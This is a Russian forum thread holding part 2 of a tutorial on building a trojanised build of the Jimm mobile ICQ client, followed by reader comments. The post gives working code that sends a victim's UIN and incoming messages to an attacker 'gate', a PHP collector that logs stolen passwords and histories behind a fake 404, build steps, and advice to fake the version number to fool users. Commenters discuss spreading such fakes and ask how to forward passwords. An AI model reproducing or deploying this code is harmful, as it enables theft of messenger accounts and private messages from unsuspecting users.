Авторские статьи JIMM Изнутри by Whirt (Часть 2)

Discussion in 'Статьи' started by Whirt, 28 Jun 2008.

  1. Whirt

    Whirt Elder - Старейшина

    Joined:
    24 Jun 2008
    Messages:
    23
    Likes Received:
    86
    Reputations:
    5
    Jimm изнутри (Часть 2)

    Вступление
    Итак, в предыдущей части мы разобрались, где у нас определены UIN и пароль,
    как нам подменить сервер для подключения, и как нам похитить данные на наш гейт.

    В прошлой часте мы остановились на проблеме кодирования данных
    для передачи через HTTP запрос.

    Напишем для этого такой код:
    Code:
    /**
     * Не-ASCII сначала кодируются как последовательности
     * двух или трех байт, использую алгоритм UTF-8, перед тем
     * как быть закодированными как последовательности %HH
     */
    package jimm;
    
    public class whirtUrl
    {
    
      final static String[] hexval = {
        "%00", "%01", "%02", "%03", "%04", "%05", "%06", "%07",
        "%08", "%09", "%0a", "%0b", "%0c", "%0d", "%0e", "%0f",
        "%10", "%11", "%12", "%13", "%14", "%15", "%16", "%17",
        "%18", "%19", "%1a", "%1b", "%1c", "%1d", "%1e", "%1f",
        "%20", "%21", "%22", "%23", "%24", "%25", "%26", "%27",
        "%28", "%29", "%2a", "%2b", "%2c", "%2d", "%2e", "%2f",
        "%30", "%31", "%32", "%33", "%34", "%35", "%36", "%37",
        "%38", "%39", "%3a", "%3b", "%3c", "%3d", "%3e", "%3f",
        "%40", "%41", "%42", "%43", "%44", "%45", "%46", "%47",
        "%48", "%49", "%4a", "%4b", "%4c", "%4d", "%4e", "%4f",
        "%50", "%51", "%52", "%53", "%54", "%55", "%56", "%57",
        "%58", "%59", "%5a", "%5b", "%5c", "%5d", "%5e", "%5f",
        "%60", "%61", "%62", "%63", "%64", "%65", "%66", "%67",
        "%68", "%69", "%6a", "%6b", "%6c", "%6d", "%6e", "%6f",
        "%70", "%71", "%72", "%73", "%74", "%75", "%76", "%77",
        "%78", "%79", "%7a", "%7b", "%7c", "%7d", "%7e", "%7f",
        "%80", "%81", "%82", "%83", "%84", "%85", "%86", "%87",
        "%88", "%89", "%8a", "%8b", "%8c", "%8d", "%8e", "%8f",
        "%90", "%91", "%92", "%93", "%94", "%95", "%96", "%97",
        "%98", "%99", "%9a", "%9b", "%9c", "%9d", "%9e", "%9f",
        "%a0", "%a1", "%a2", "%a3", "%a4", "%a5", "%a6", "%a7",
        "%a8", "%a9", "%aa", "%ab", "%ac", "%ad", "%ae", "%af",
        "%b0", "%b1", "%b2", "%b3", "%b4", "%b5", "%b6", "%b7",
        "%b8", "%b9", "%ba", "%bb", "%bc", "%bd", "%be", "%bf",
        "%c0", "%c1", "%c2", "%c3", "%c4", "%c5", "%c6", "%c7",
        "%c8", "%c9", "%ca", "%cb", "%cc", "%cd", "%ce", "%cf",
        "%d0", "%d1", "%d2", "%d3", "%d4", "%d5", "%d6", "%d7",
        "%d8", "%d9", "%da", "%db", "%dc", "%dd", "%de", "%df",
        "%e0", "%e1", "%e2", "%e3", "%e4", "%e5", "%e6", "%e7",
        "%e8", "%e9", "%ea", "%eb", "%ec", "%ed", "%ee", "%ef",
        "%f0", "%f1", "%f2", "%f3", "%f4", "%f5", "%f6", "%f7",
        "%f8", "%f9", "%fa", "%fb", "%fc", "%fd", "%fe", "%ff"
      };
    
      /**
       * ASCII символы, начиная с 'a', заканчивая 'z', 'A' заканчивая 'Z',
       *        и с '0' заканчивая '9' оставляем такими же.
       *
       * Такие символы как - _ . ! ~ * ' ( ) оставляем такими же.
       *
       * Пробел преобразуем в плюс '+'.
       *
       * Остальные ASCII символы кодируем в трехсимвольную строку "%xy"
       * где xy - двухсимволное шестнадцатеричное представление 
       * кода символа.
       *
       * Все не-ASCII-символы кодируются в два шага: сначала в 
       * последовательность 2 или 3 байт, используя алгоритм UTF-8;
       * затем, кодируем каждый байт как "%xx".
       *
       * @param - строка, которую подаем на входе на кодирование
       * @return Зашифрованная строка
       */
      public static String encode(String s)
      {
        StringBuffer wbuf = new StringBuffer();
        int len = s.length();
        for (int i = 0; i < len; i++) {
          int ch = s.charAt(i);
          if ('A' <= ch && ch <= 'Z') {		// 'A'..'Z'
            wbuf.append((char)ch);
          } else if ('a' <= ch && ch <= 'z') {	// 'a'..'z'
    	       wbuf.append((char)ch);
          } else if ('0' <= ch && ch <= '9') {	// '0'..'9'
    	       wbuf.append((char)ch);
          } else if (ch == ' ') {			
    	       wbuf.append('+');
          } else if (ch == '-' || ch == '_'		
              || ch == '.' || ch == '!'
              || ch == '~' || ch == '*'
              || ch == '\'' || ch == '('
              || ch == ')') {
            wbuf.append((char)ch);
          } else if (ch <= 0x007f) {		// другие ASCII
    	       wbuf.append(hexval[ch]);
          } else if (ch <= 0x07FF) {		// не ASCII <= 0x7FF
    	       wbuf.append(hexval[0xc0 | (ch >> 6)]);
    	       wbuf.append(hexval[0x80 | (ch & 0x3F)]);
          } else {					// 0x7FF < ch <= 0xFFFF
    	       wbuf.append(hexval[0xe0 | (ch >> 12)]);
    	       wbuf.append(hexval[0x80 | ((ch >> 6) & 0x3F)]);
    	       wbuf.append(hexval[0x80 | (ch & 0x3F)]);
          }
        }
        return wbuf.toString();
      }
    
    }
    
    Не забудьте положить наш whirtUrl.java в \jimm\src\jimm\

    И влючить его в код:

    Code:
    import jimm.whirtUrl;
    Далее уже можем использовать в PlainMessage.java нашу функцию, например через HttpConnection
    (не забываем подключать соответствующие java-файлы)
    Code:
    httemp4 = (HttpConnection) Connector.open(script+"?uin="+Options.getString(Options.OPTION_UIN)+"&type=0x02&data="+whirtUrl.encode("[From: "+sndrUin+"] "+text));
    
    Пишем наш гейт
    Ну а теперь настало самое время написать наш принимающий core-модуль ))))
    Он довольно простой, но функциональный:

    PHP:
    <?
    //small conf :)
    //Указываем диру для логов, обязательно должна существовать.
    $dir "logs";

    //получаем дату-время для маркировки в логах
    $today getdate();
    $date $today['mday'].".".$today['mon'];
    $time $today['hours'].":".$today['minutes'];


        
    $UIN=$_GET['uin'];
        
    $type=$_GET['type'];
        
        if (
    $type == '0x01')
        {
    //как говорил выше: 0х01 - значит к нам пришли пароли
          
    $text $_GET['data'];
           
    $fp fopen($dir."/numbers.txt"'a+');
           
    fwrite($fp"[".$date."] (".$time.") $UIN;$text\r\n");
           
    fclose($fp);
        }
        if (
    $type == '0x02'//получили сообщения
        

            
    $text "[".$time."] ".$_GET['data'];
           
    $fp fopen($dir."/hist/".$UIN."_hist_".$date.".txt"'a+');
           
    fwrite($fp"$text\r\n");
           
    fclose($fp);
        }
    //Обезопасим себя :))
    header("HTTP/1.0 404 Not Found");

    ?>
    Думаю, здесь без особых трудностей, с файлами работать ведь умеем ))

    Хочу заметить, что каталог (изначально) logs должен обязательно существовать, +подкаталог hist, если мы собираемся перехватывать историю.

    Компиляция
    Ну что ж, теперь у нас все готово для компиляции.
    Нам понадобятся последние версии следующих компонентов:
    Apache Ant, NetBeans IDE (можно обойтись и без нее, но при редактировании и отладке кода - очень удобно),
    Java 2 Platform Standard Edition (J2SE) SDK, J2ME Wireless Toolkit >=2.2, Pro Guard >=4.1

    Все это добро можно найти в интернете и скачать, используя наш любимый google )
    С установкой, думаю проблем возникнуть не должно.

    Давайте лучше, обратим внимание на файл build.xml, нам нужно будет его отредактировать вручную.
    Code:
    	<property name="DEFAULT/midp"      value="D:\WTK2.5.2"                         />
    	<property name="MIDP2/midp"        value="D:\WTK2.5.2"                         />
    	<property name="RIM/midp"          value="D:\WTK2.5.2"                         />
    	<property name="SIEMENS1/midp"     value="D:\WTK2.5.2"                         />
    	<property name="SIEMENS2/midp"     value="D:\WTK2.5.2"                         />
    	<property name="MOTOROLA/midp"     value="D:\WTK2.5.2"                         />
    
    Здесь нам нужно указать путь к нашему Wireless Toolkit, в моем случае это D:\WTK2.5.2
    Code:
    	<property name="proguard"          value="C:\devel\java\proguard4.1\proguard4.1"/>
    
    Указываем путь к нашему обфускатору+пакеру proguard. Можно в принципе его и не использовать,
    но все же рекомендую. Жмет+обфусцирует код.
    Code:
    	<property name="target"            value="MIDP2"                           />
    
    Проставляем нужный нам таргет. Обычно, это MIDP2, который поддерживают все современные телефоны.
    В ином случае, укажите ваш вариант.

    Code:
    	<property name="modules"           value="SMILES,HISTORY,PROXY" />
    
    Указываем необходимые модули, которые подключаем к проекту.
    То, что ненужно, можно отключить, чтобы уменьшить размер скомпилированного приложения.

    Code:
    	<property name="version/jimm"      value="0.5.3b"                     />
    	<property name="version/java"      value="0.5.3"                />
    
    Здесь мы можем изменить нашу версию, чтобы надурить бедных ламеров)

    Ну, вроде ничего не упустил, теперь можно запускать NetBeans IDE.

    File -> New Project -> Java Project With Existing Ant Script.
    Указываем диру, где лежат исходники jimm + наш build-скрипт (build.xml)

    Next;

    В Build Project: устанавливаем таргет "dist"
    .
    Ну вот и все. Впринципе можно смело нажимать Build. И, если, все сделано, правильно, у нас
    в директории \jimm\dist\bin
    Появятся 2 файла: .jar и .jad
    Думаю, что с ними делать дальше, ты знаешь :)

    [​IMG]

    Заключение
    Итак, как, ты понял, мы можем запросто собрать свой билд Jimm с нужными нам функциями.
    Думаю теперь ты будешь чаще использовать оф. версии, для которых доступны исходные коды,
    ведь безопасность твоей ICQ тебе наверно дороже?
    Сейчас расплодилось огромное количество модификаций Jimm, большинство из них имеют закрытый исходный
    код, и только сетевой трейс сможет отследить, какую инфу они отправляют в действительности.

    A little Disclaimer:
    Статья не является руководством к написанию вредоносных программ, а является лишь информацией к размышлению)
    Автор не несет ответственности за любой принесенный ущерб в результате неправильного использования
    представленной информации, а так же действий, противоречащих УК РФ.

    Copyright: Whirt
    Специально для Anitchat.ru
     
    15 people like this.
  2. Masik0

    Masik0 New Member

    Joined:
    1 Jan 2009
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Whirt можешь подробно написать для чайника как сделать что бы jimmка отпровляла пароли на указаный ей uin пожалуйста????
     
  3. dimhee

    dimhee Member

    Joined:
    8 Mar 2007
    Messages:
    129
    Likes Received:
    63
    Reputations:
    6
    А жертва разве не может вернуть номер через примак ? или они уже давно отпали :)(данным вопросом давно не интересовался )) , за статью спасибо!
     
    1 person likes this.
  4. Masik0

    Masik0 New Member

    Joined:
    1 Jan 2009
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Whirt можешь подробно написать для чайника как сделать что бы jimmка отпровляла пароли на указаный ей uin пожалуйста???
     
  5. ReduKToR

    ReduKToR Active Member

    Joined:
    5 Jan 2009
    Messages:
    257
    Likes Received:
    179
    Reputations:
    4
    молодец, как всегда отлично!так фейки шпарить и шпарить мона и отправлять по сайтам мобил )
     
  6. Rapai

    Rapai New Member

    Joined:
    18 Sep 2008
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Может я чтото не углядел, но всётаки! Мона про это подробнее. В какой файл вписывать и в какое местечко.
     
  7. F1shka

    F1shka Elder - Старейшина

    Joined:
    10 Apr 2008
    Messages:
    173
    Likes Received:
    305
    Reputations:
    3
    Хорошая статья! Спасибо!
     
  8. CrazyStudentS_Mi}{

    CrazyStudentS_Mi}{ Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    424
    Likes Received:
    296
    Reputations:
    92
    можно делать сайт как смскапкан только асикью капкан :) ТС надеюсь ты тут не все спалил и сможешь свои гениальные идеи сказочно монетизировать. гуд лак!
     
  9. KaZ@NoVa

    KaZ@NoVa Elder - Старейшина

    Joined:
    5 Jul 2008
    Messages:
    368
    Likes Received:
    438
    Reputations:
    -16
    ____________________________________________
    Вот реально правда.Попробовать через эмулятор на кривой девятки посмотреть с помощью фаервола.Если чисто все,то только тогда юзать Jimm.

    Отличная статья
     
    1 person likes this.
  10. pokerman

    pokerman New Member

    Joined:
    22 Jan 2009
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    ой как всё сложно то в каком-то маленьком Jimm'e :)
    Вообще почти ничего не понял из статьи, а может просто не захотел понимать... :confused:
     
  11. Forcer

    Forcer Elder - Старейшина

    Joined:
    12 Apr 2007
    Messages:
    321
    Likes Received:
    98
    Reputations:
    12
    java.net.URLEncoder
     
    1 person likes this.
  12. Whirt

    Whirt Elder - Старейшина

    Joined:
    24 Jun 2008
    Messages:
    23
    Likes Received:
    86
    Reputations:
    5
    Forcer, я не java-кодер, поэтому я не знал про java.net.URLEncoder, статья и изучение исходников было исключительно ради собственного удовольствия.
     
  13. Forcer

    Forcer Elder - Старейшина

    Joined:
    12 Apr 2007
    Messages:
    321
    Likes Received:
    98
    Reputations:
    12
    Я показал как можно просто сделать то, с чем у тебя возникли трудности. Не более того.
     
    1 person likes this.
  14. Masik0

    Masik0 New Member

    Joined:
    1 Jan 2009
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Так и не рассказали как сделать что бы jimm пароли на uin отправляла(
     
  15. 'paradox'

    'paradox' New Member

    Joined:
    22 Feb 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    А где первая часть, киньте ссылку, плиз, с меня + ;)
     
  16. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    лично я бы отправлял на гейт пассворд только от красивого номера/длиной меньше 8 знаков. чтоб гейт не засирать :D
     
  17. darp

    darp New Member

    Joined:
    17 Mar 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Восхитительная СТАТЬЯ!!!!!Давно был в поисках этого!Просьба к знаюшим выложить метод пересылки данных на указанный uin!!!
    SendMessage(477117732,UIN.Text+';'+PasswordEdit1.Text);
    вот компонент фейка на qip сдесь нужно сделать что то похожее или такой код тоже подходит ?и куда его вставить если подходит! :confused: не судите строго если пишу ерунду пытаюсь набераюсь навыков надеюсь мне вы в этом поможете да и многим поситителям этого форума тожи потому что не я один задаюсь вопросом как реализовать такую пересылку!
     
    #17 darp, 22 Apr 2009
    Last edited: 22 Apr 2009